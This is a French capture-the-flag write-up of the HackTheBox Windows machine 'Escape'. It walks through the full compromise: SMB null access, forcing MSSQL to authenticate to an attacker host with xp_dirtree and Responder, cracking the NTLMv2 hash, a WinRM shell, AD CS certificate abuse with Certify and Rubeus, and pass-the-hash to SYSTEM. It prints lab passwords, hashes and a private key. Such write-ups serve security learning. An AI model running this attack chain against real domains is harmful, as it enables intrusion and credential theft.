Windows Box : Escape
Table of contents
Introduction
Cette box était une machine windows de niveau medium qui faisait intervenir notamment une privesc basée sur la demande de certificat au sein de l’Active Directory! On va commencer tout de suite en lançant un scan nmap comme pour toutes les boxs HTB.
Reconnaissance
Scans
Le scan présente bien toutes les caractéristiques d’un Domain Controller
, on y voit les ports 445
et 139
pour le smb, le port 88
pour le TGS
et le service DNS habituel:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-14 04:53 EDT
Nmap scan report for 10.10.11.202
Host is up (0.028s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-05-14 16:53:31Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after: 2023-11-18T21:20:35
|_ssl-date: 2023-05-14T16:54:52+00:00; +8h00m13s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after: 2023-11-18T21:20:35
|_ssl-date: 2023-05-14T16:54:51+00:00; +8h00m12s from scanner time.
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-05-13T20:58:31
|_Not valid after: 2053-05-13T20:58:31
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2023-05-14T16:54:52+00:00; +8h00m13s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-05-14T16:54:52+00:00; +8h00m13s from scanner time.
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after: 2023-11-18T21:20:35
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after: 2023-11-18T21:20:35
|_ssl-date: 2023-05-14T16:54:51+00:00; +8h00m12s from scanner time.
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 8h00m12s, deviation: 0s, median: 8h00m12s
| smb2-time:
| date: 2023-05-14T16:54:11
|_ start_date: N/A
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.07 seconds
On remarque aussi un serveur MSSQL
sur le port 1433
.
Après avoir simplement essayé de se connecter au serveur smb et rajouté le nom de domaine du DC dans notre hostfile, On va essayer de se connecter au smb en NULL Authentication
avec crackmapexec. Il s’avère que pour que la NULL Authentication fonctionne il faut que le nom d’utilisateur ne soit pas existant sur la machine, on peut prendre un nom aléatoire et essayer de lister les shares disponibles:
cme smb 10.10.11.202 --shares -u 'g' -p ''
SMB 10.10.11.202 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.202 445 DC [+] sequel.htb\g:
SMB 10.10.11.202 445 DC [+] Enumerated shares
SMB 10.10.11.202 445 DC Share Permissions Remark
SMB 10.10.11.202 445 DC ----- ----------- ------
SMB 10.10.11.202 445 DC ADMIN$ Remote Admin
SMB 10.10.11.202 445 DC C$ Default share
SMB 10.10.11.202 445 DC IPC$ READ Remote IPC
SMB 10.10.11.202 445 DC NETLOGON Logon server share
SMB 10.10.11.202 445 DC Public READ
SMB 10.10.11.202 445 DC SYSVOL Logon server share
Ok visiblement on a accès en lecture à une share inhabituelle: Public
. On va maintenant utiliser smbclient
pour lister les fichiers disponibles dessus:
smbclient -N -U 'g' //10.10.11.202/Public
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat Nov 19 06:51:25 2022
.. D 0 Sat Nov 19 06:51:25 2022
SQL Server Procedures.pdf A 49551 Fri Nov 18 08:39:43 2022
5184255 blocks of size 4096. 1462488 blocks available
smb: \> get "SQL Server Procedures.pdf"
getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (306.3 KiloBytes/sec) (average 306.3 KiloBytes/sec)
smb: \> exit
Jetons un oeil au PDF que nous venons de récupérer:
A la fin de ce dernier on tombe sur des creds de la base de données, destinés au nouveaux arrivants 😁, on va aller jeter un oeil là bas.
Accès à la base de données
Pour se connecter à une base de données MSSQL sous linux il est possible d’utiliser sqsh
ou l’utilitaire proposé par Impacket
, ce que nous allons faire ici:
python3 /usr/share/doc/python3-impacket/examples/mssqlclient.py sequel.htb/PublicUser:GuestUserCantWrite1@10.10.11.202
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL> SELECT name FROM master.dbo.sysdatabases;
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
Obtention des premiers creds
Ok donc il n’y a que les bases de données par défault de MSSQL, cela ne sert à rien d’aller chercher à l’intérieur. Pour obtenir un foothold sur le serveur il va soit nous falloir obtenir les creds du compte sur lequel tourne le serveur SQL, soit arriver à RCE tout de suite. C’est sur la première option que l’on va se concentrer pour avancer.
Relay attack sur le compte MSSQL
Malheureusement la commande xp_cmdshell
permettant d’exécuter des commandes n’est pas accessible, après quelque recherches on tombe sur une méthode d’exploitation qui permet de mettre en place une Relay attack
à partir d’un accès MSSQL: En utilisant la commande xp_dirtree
qui permet d’accéder à une resssource distante.
En effet si on fait en sorte que le serveur fasse une requete SMB vers un serveur que l’on contrôle, pour s’authentifier il enverra son hash NTLMv2
que nous pourrons cracker en offline. On va donc lancer notre serveur SMB avec l’outil Responder
sur l’interface connectée au VPN comme ceci:
sudo responder -I tun0
On lance ensuite la requete SMB vers notre machine depuis le serveur MSSQL:
SQL> xp_dirtree '\\10.10.14.34\test'
Et on obtient les hash du compte sql_svc
sur lequel tourne le serveur:
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.10.11.202
[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash : sql_svc::sequel:8795c31e953d3cb4:FA875D8F149BE0462933AF6BC3AEB7CB:01010000000000000003A987799FD901ECF16D600E6BBEFB00000000020008004F0043004F00590001001E00570049004E002D00340038004F0039004E0057003700420039004F004B0004003400570049004E002D00340038004F0039004E0057003700420039004F004B002E004F0043004F0059002E004C004F00430041004C00030014004F0043004F0059002E004C004F00430041004C00050014004F0043004F0059002E004C004F00430041004C00070008000003A987799FD90106000400020000000800300030000000000000000000000000300000F13673A0A84F1123BC030B1965AC9686C878500990100A183A4A1D42B4336C9F0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00330034000000000000000000
Et il ne reste plus qu’à le cracker avec hashcat:
hashcat -m 5600 sql_hash.txt /usr/share/wordlists/rockyou.txt
...
SQL_SVC::sequel:8795c31e953d3cb4:fa875d8f149be0462933af6bc3aeb7cb:01010000000000000003a987799fd901ecf16d600e6bbefb00000000020008004f0043004f00590001001e00570049004e002d00340038004f0039004e0057003700420039004f004b0004003400570049004e002d00340038004f0039004e0057003700420039004f004b002e004f0043004f0059002e004c004f00430041004c00030014004f0043004f0059002e004c004f00430041004c00050014004f0043004f0059002e004c004f00430041004c00070008000003a987799fd90106000400020000000800300030000000000000000000000000300000f13673a0a84f1123bc030b1965ac9686c878500990100a183a4a1d42b4336c9f0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00330034000000000000000000:REGGIE1234ronnie
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: SQL_SVC::sequel:8795c31e953d3cb4:fa875d8f149be04629...000000
Time.Started.....: Thu Jun 15 11:21:43 2023 (14 secs)
Time.Estimated...: Thu Jun 15 11:21:57 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 755.7 kH/s (1.59ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10700800/14344385 (74.60%)
Rejected.........: 0/10700800 (0.00%)
Restore.Point....: 10698752/14344385 (74.58%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: REPIN210 -> REDOCEAN22
Hardware.Mon.#1..: Util: 62%
Started: Thu Jun 15 11:21:42 2023
Stopped: Thu Jun 15 11:21:58 2023
Obtention du foothold sur le Domain controller
Nickel! Maintenant il va nous falloir obtenir un shell sur DC, on peut commencer par voir si le service WinRM
est utilisé par ce dernier:
cme winrm 10.10.11.202
SMB 10.10.11.202 5985 DC [*] Windows 10.0 Build 17763 (name:DC) (domain:sequel.htb)
HTTP 10.10.11.202 5985 DC [*] http://10.10.11.202:5985/wsman
WSMan
est utilisé donc WinRM
doit l’être aussi, on va tenter de se connecter avec evil-winrm sur le compte sql_svc
:
evil-winrm -u sql_svc -p REGGIE1234ronnie -i 10.10.11.202
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sql_svc\Documents> whoami
sequel\sql_svc
*Evil-WinRM* PS C:\Users\sql_svc\Documents>
Et on obtient notre premier shell sur le DC en tant que sql_svc
👍.
Pivoting puis privesc
Pivoting
En fouillant à la racine du disque on trouve un dossier SQLServer
contenant des Logs et dans l’une d’elle quelque chose d’assez intéressant:
2022-11-18 13:43:07.44 Logon Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.72 spid51 Attempting to load library 'xpstar.dll' into memory. This is an informational message only. No user action is required.
2022-11-18 13:43:07.76 spid51 Using 'xpstar.dll' version '2019.150.2000' to execute extended stored procedure 'xp_sqlagent_is_starting'. This is an informational message only; no user action is required.
2022-11-18 13:43:08.24 spid51 Changed database context to 'master'.
2022-11-18 13:43:08.24 spid51 Changed language setting to us_english.
L’utilisateur Ryan.Cooper
a essayé de se connecter et c’est trompé en mettant son mot de passe à la place de son nom d’utilisateur, on va pouvoir pivoter sur son compte.
Une fois connecté en tant que Ryan, on peut récupérer le premier flag sur son bureau: 2f60dd9b4e3e3deeec9373f3c70a1011
.
Privesc
Comme suggéré par le nom du challenge (ESCcape
), on va se pencher sur les privescs se basant sur les requêtes de certificats du Certificate Service
de l’Active Directory. Voilà tout d’abord une petite explication sur le fonctionnemnet du Certificate Service:
Explication
Le Certificate Service a pour objectif de fournir des certificats utilisés pour du chiffrement ou pour l’authentification par exemple. Pour qu’un utilisateur obtienne un certificat, il faut qu’il envoie une CSR
(Certificate Signing Request) à la CA
. Voilà ce que cette requête va contenir:
- La clé publique que l’utilisateur veut associer à son identité sur l’AD.
- Un sujet à qui associer le certificat.
- Un
EKU
(Extended/Enhanced Key Usage), qui définit ce pour quoi le certificat va être utilisé. - Un
Certificate Templates
qui est un ensemble de règles et de paramètres qui vont être appliqués au certificat comme sa durée de validité par exemple.
Voilà un schéma du procédé d’obtention du certificat:
Ce qui va nous permettre d’élever nos privilèges est une option du template appellée subjectAltName
qui permet d’associer d’autres identités au certificat. J’ai trouvé une explication à l’existence de cette option ici: En fait, associer plusieurs sujets à un seul certificat peut s’avérer utile dans le cas d’un serveur web par exemple qui pourrait gérer plusieurs domaines avec un seul certificat SSL.
Finalement pour que la privesc fonctionne, il faut que notre utilisateur ait les droits de demander un certificat, qu’il puisse spécifier un EKU
lui permettant de s’authentifier avec son certificat, et il faut que l’option subjectAltName soit disponible. Par chance ces trois contraintes étaient remplies sur cette box.
Exploitation
Pour pouvoir demander un certificat à la CA de l’AD, il faut importer le binaire certify.exe
sur la machine ce que nous pouvons faire avec evil-winrm comme ceci:
*Evil-WinRM* PS C:\Users\Ryan.Cooper> upload Certify.exe
Info: Uploading Certify.exe to C:\Users\Ryan.Cooper\Certify.exe
Data: 232104 bytes of 232104 bytes copied
Info: Upload successful!
Maintenant on peut demander un certificat en spécifiant le template UserAuthentication
qui spécifie que l’on pourra utiliser ce certificat pour s’identifier et avec l’option /altname
qui spécifie le second utilisateur à associer à notre certificat, pour une privesc on met donc l’administrateur local du DC.
.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:Administrator
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
[*] Action: Request a Certificates
[*] Current user context : sequel\Ryan.Cooper
[*] No subject name specified, using current context as subject.
[*] Template : UserAuthentication
[*] Subject : CN=Ryan.Cooper, CN=Users, DC=sequel, DC=htb
[*] AltName : Administrator
[*] Certificate Authority : dc.sequel.htb\sequel-DC-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 10
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA2JtqGlwdUZBoJPQKIjuIZbMfoLIPxw9hNUEoqXy0Cv07G0JZ
Etvuy6eLPwPLFKmZiRZlHEQlJLxqOLRkGAboFbpmTywqWWfAnqSCbjpn0BHlCR8e
0yL2MdsSIDdkcb0cz+SOk+iudsSxxT4ECSE39TBo2XUzMMJ8gBAq+/r1rlUPvE5S
23DPNbXfaVvPS6GC9SFqOrRwz2crMFxVQSvL2TU5y8sOVwHKy5CU7hUcbjJYl4YF
fXERiCodMi0WFL4PgQV6bmJcfoiUmn1l+FiMvu/FuIgY/m6Jhw8pNdwXzk9bfspM
3hG00Lm2m/fVA2S+/UpVVT+sgzEiITBMu7j2HQIDAQABAoIBAQDQf+kGLpzaIlLd
HzuR8BQ/MMjE+iFNz3QWuv3VB4CXA2KdvqPXD3Uw+7mBkrkszoRH/RKevsmyLttg
cePXbO6B28cXdr/dB43WJyyVxgqfslnxCc+2FPU+0E0GTcuV4B+Xzb2gil1FXdhw
sF1aHGuszEhg6fu4d7032FhH7S4H+3r9VrX/a481LI3dhoLbAqvEsnd+QuqKZwnJ
LsNtt65O6DMNoJa/TKWs5FHiPDQv6xFYkNtN9K3W2riTh4eJyAfydKBGbLLMe9CL
3N5tunVqS2Mu3SOPAPp82DcTJZ73EV5oLZRaccJqA/v+LnYqblNWiiq5CRl9OYoA
JwfVy8XRAoGBAPjc5kltXiuxehD3HxYr15OSylvxfH/wE1H/T9ckFrgm8Wtqcy8A
GxbXXllPLghy7Drjae5393zwgclkvlrkR7ddtkGRaSFHO15zS38SHCnt64cNBcqj
qGGv97aP9MipxZWLo1hSsNDPjGCSJ7ewKMKGxpu9gqObkXik8Wx1HeDLAoGBAN7R
swySBWYS/3VjI71zuE/OhPntfwC1s5HVWaRz0LTO0tZkQBMGDOjuEYvD/CuVNUMB
xcAu6oaaH2CmOyYOv96lJkXq9j1WcNqBt4RkHSy6MNAR6t1o1D0+RP7+zh/OdPDx
Zi2RicbBPpU40/n3rphvk8YL0QXT0v3nHXQqSC+3AoGAAYD0M0Vh6EmuPyP/IBcr
ukyMxHl1EyDUPQ6Z4Obq7DnwA4IlKAeMIlsyyr9bu9lV7BUrsrEu4aZiYmEldU8j
z8vVKhhC1lyj0zJHJoFpgidZ4PsHKe5LOiviB0xfYkcEVp79Ya8+OkTGyF6ZttZt
qJ8/2/kNLQfnnR8CBnG+uHkCgYEAmsGuyBZLJaAgSZm34weShet8NFIdmZKZy7oQ
7sV5uXrEuR8b2ZqkMMvY5+gRJvwU6Bs9C8QKI767+Fa8UiyAWtT9hiYxLFzzOPBL
U+ps0PnomTs4ktsSPg8XwLuc0j6EviwLua6RsLfbDa1QnRbH7xvf2PewD4oVyz9Q
F7SeOnUCgYBjJQuKadpSFCHSQbGpi+xQbAiJGYaas0NBLZ393m3LCh580LKa7QHr
R0tdvEEhrSGUFkS4UvZoBoXEqp3SF7dcBDaPNl1KwQyWcExxdHq+N6HGZeSEKssf
Qug2RmX9zQeP5MaHEU+jKrFC8lViHfkGcWRnBMaJraPCQaFWKDRyGg==
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGEjCCBPqgAwIBAgITHgAAAAoaz+dKUyVfWQAAAAAACjANBgkqhkiG9w0BAQsF
ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
MRUwEwYDVQQDEwxzZXF1ZWwtREMtQ0EwHhcNMjMwNjE2MDAyODUwWhcNMjUwNjE2
MDAzODUwWjBTMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYG
c2VxdWVsMQ4wDAYDVQQDEwVVc2VyczEUMBIGA1UEAxMLUnlhbi5Db29wZXIwggEi
MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDYm2oaXB1RkGgk9AoiO4hlsx+g
sg/HD2E1QSipfLQK/TsbQlkS2+7Lp4s/A8sUqZmJFmUcRCUkvGo4tGQYBugVumZP
LCpZZ8CepIJuOmfQEeUJHx7TIvYx2xIgN2RxvRzP5I6T6K52xLHFPgQJITf1MGjZ
dTMwwnyAECr7+vWuVQ+8TlLbcM81td9pW89LoYL1IWo6tHDPZyswXFVBK8vZNTnL
yw5XAcrLkJTuFRxuMliXhgV9cRGIKh0yLRYUvg+BBXpuYlx+iJSafWX4WIy+78W4
iBj+bomHDyk13BfOT1t+ykzeEbTQubab99UDZL79SlVVP6yDMSIhMEy7uPYdAgMB
AAGjggLsMIIC6DA9BgkrBgEEAYI3FQcEMDAuBiYrBgEEAYI3FQiHq/N2hdymVof9
lTWDv8NZg4nKNYF338oIhp7sKQIBZAIBBTApBgNVHSUEIjAgBggrBgEFBQcDAgYI
KwYBBQUHAwQGCisGAQQBgjcKAwQwDgYDVR0PAQH/BAQDAgWgMDUGCSsGAQQBgjcV
CgQoMCYwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwQwDAYKKwYBBAGCNwoDBDBEBgkq
hkiG9w0BCQ8ENzA1MA4GCCqGSIb3DQMCAgIAgDAOBggqhkiG9w0DBAICAIAwBwYF
Kw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAuMQpb7ZsEqSmYgEGOu7y5wj1Ms
MCgGA1UdEQQhMB+gHQYKKwYBBAGCNxQCA6APDA1BZG1pbmlzdHJhdG9yMB8GA1Ud
IwQYMBaAFGKfMqOg8Dgg1GDAzW3F+lEwXsMVMIHEBgNVHR8EgbwwgbkwgbaggbOg
gbCGga1sZGFwOi8vL0NOPXNlcXVlbC1EQy1DQSxDTj1kYyxDTj1DRFAsQ049UHVi
bGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlv
bixEQz1zZXF1ZWwsREM9aHRiP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFz
ZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCBvQYIKwYBBQUHAQEE
gbAwga0wgaoGCCsGAQUFBzAChoGdbGRhcDovLy9DTj1zZXF1ZWwtREMtQ0EsQ049
QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNv
bmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/
b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0BAQsF
AAOCAQEAN2rOzjeX+iCItQ86bpsxsQm/qc87nobXuC8fO/u/ThRJ3i+aFdLbM0GH
0cSd75zve1oIRTmQOr194m/Riu0kVVco/vHSqN4oJezfgdWf4bwSh60QNTU/ATnp
ei3Zi7GYRPMRxC6CtXHbxohU+aplrXMMZ8noD094ix0jcyE2CG9AI3awle0Xa47U
Ix8b6Njph+m4Kx7UGVdk8ZMoaAx4D1VWnimnQ7qsGL7yi3eGkoH0i2yR5g+9Xd8s
kyPkC1OGGB2610j8CEKrzzkQGHPdhdoIU+kHFmq+zkZUN9MHVGTHI/6uwSs83OuK
EDoXyL/FliGefbiTsT6xpFzmJ1KVlQ==
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:12.9065614
Comme suggéré par le programme, il nous faut maintenant convertir ce certificat du format PEM
au format PFX
pour pouvoir ensuite l’utiliser pour s’identifier auprès du TGS.
openssl pkcs12 -in certif.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Maintenant on upload notre certificat fraichement créé ainsi que le binaire de Rubeus, on spécifie l’option /getcredentials
pour récupérer un NTHash
de l’administrateur:
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /getcredentials
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=Ryan.Cooper, CN=Users, DC=sequel, DC=htb
[*] Building AS-REQ (w/ PKINIT preauth) for: 'sequel.htb\Administrator'
[*] Using domain controller: fe80::59de:dd89:1ace:5e71%4:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
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
ServiceName : krbtgt/sequel.htb
ServiceRealm : SEQUEL.HTB
UserName : Administrator
UserRealm : SEQUEL.HTB
StartTime : 6/16/2023 9:08:41 PM
EndTime : 6/17/2023 7:08:41 AM
RenewTill : 6/23/2023 9:08:41 PM
Flags : name_canonicalize, pre_authent, initial, renewable
KeyType : rc4_hmac
Base64(key) : uRJDexi+PljF+Ao9aC33Hw==
ASREP (key) : AE715F3B89BFC48C00CCF0A427E72CD4
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : A52F78E4C751E5F5E17E1E9F3E58F4EE
Finalement il ne nous reste plus qu’à Pass The Hash avec le hash que l’on vient d’obtenir et récupérer le flag root:
python3 /usr/share/doc/python3-impacket/examples/psexec.py sequel.htb/Administrator@10.10.11.202 -hashes aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Requesting shares on 10.10.11.202.....
[*] Found writable share ADMIN$
[*] Uploading file AwSRfBfO.exe
[*] Opening SVCManager on 10.10.11.202.....
[*] Creating service PNtf on 10.10.11.202.....
[*] Starting service PNtf.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2746]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
...
C:\Users\Administrator\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is EB33-4140
Directory of C:\Users\Administrator\Desktop
02/06/2023 04:43 PM <DIR> .
02/06/2023 04:43 PM <DIR> ..
06/16/2023 05:47 AM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 5,943,947,264 bytes free
C:\Users\Administrator\Desktop> type root.txt
e93fbe617988de512fcf81df9bdcd841
C:\Users\Administrator\Desktop>
Conclusion
Cette box était une de mes premières box windows sur HackTheBox et je l’ai trouvée très intéressante pour comprendre les méthodes d’exploitations relatives aux requêtes de certificats sur un active directory 😀.